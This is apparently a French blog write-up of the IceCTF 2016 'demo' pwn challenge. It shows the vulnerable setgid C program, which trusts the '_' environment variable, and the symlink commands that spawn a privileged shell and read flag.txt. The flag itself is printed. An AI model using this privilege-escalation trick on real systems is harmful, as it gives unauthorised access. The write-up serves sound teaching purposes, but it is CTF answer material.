Demo[IceCTF][pwn] [55pts]

Bonsoir ,

Ce challenge est un challenge de type pwn du CTF IceCTF 2016 , voici sa description :

I found this awesome premium shell, but my demo version just ran out… can you help me crack it? /home/demo/ on the shell.

Nous nous connectons en ssh au serveur , dans le dossier /home/demo il y a 4 fichiers :

[ctf-36766@icectf-shell-2016 /home/demo]$ ls -l 
total 20
-rwxr-sr-x 1 root demo 5692 Aug 12 09:08 demo
-rw-r--r-- 1 root root  458 Aug 12 09:08 demo.c
-r--r----- 1 root demo   33 Aug 12 09:08 flag.txt
-rw-r--r-- 1 root root   83 Aug 12 09:08 Makefile

Le but est d’afficher le contenu du fichier flag.txt , pour cela nous devons donc avoir un shell avec les droits root .

Pour cela il faut exploiter le binaire demo , donc le code source est le suivant :

[ctf-36766@icectf-shell-2016 /home/demo]$ cat demo.c 
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <libgen.h>
#include <string.h>

void give_shell() {
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    if(strncmp(basename(getenv("_")), "icesh", 6) == 0){
        give_shell();
    }
    else {
        printf("I'm sorry, your free trial has ended.\n");
    }
    return 0;
}

Il faut donc que la chaîne basename(getenv(« _ »)) soit égale à « icesh » .

getenv(« _ ») lis la variable d’environnement contenant le chemin complet du binaire executé , basename ne récupérer que le nom du fichiers par exemple si le fichier est dans /home/toto/truc basename() recuperera seulement « truc » .

Pour réussir ce challenge la méthode est de créer un lien symbolique pointant vers le binaire ayant le nom de fichier « icesh »  :

  • tout d’abord on créer un dossier « neolex » dans /tmp pour ne pas rentrer en conflit avec des fichiers créer par d’autre utilisateurs ayant aussi le nom icesh
  • Ensuite nous créons le lien symbolique vers le fichier /home/demo/demo vers le fichier icesh
  • Enfin nous lançons notre binaire et obtenons un shell ayant le droit de lire le flag.txt
ctf-36766@icectf-shell-2016:/home/demo$ cd /tmp/
ctf-36766@icectf-shell-2016:/tmp$ mkdir neolex
ctf-36766@icectf-shell-2016:/tmp$ cd ./neolex
ctf-36766@icectf-shell-2016:/tmp/neolex$ ln -s /home/demo/demo ./icesh
ctf-36766@icectf-shell-2016:/tmp/neolex$ ./icesh 
$ cat /home/demo/flag.txt
IceCTF{wH0_WoU1d_3vr_7Ru5t_4rgV}
Flag!!

Le flag du challenge est donc  IceCTF{wH0_WoU1d_3vr_7Ru5t_4rgV}

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée.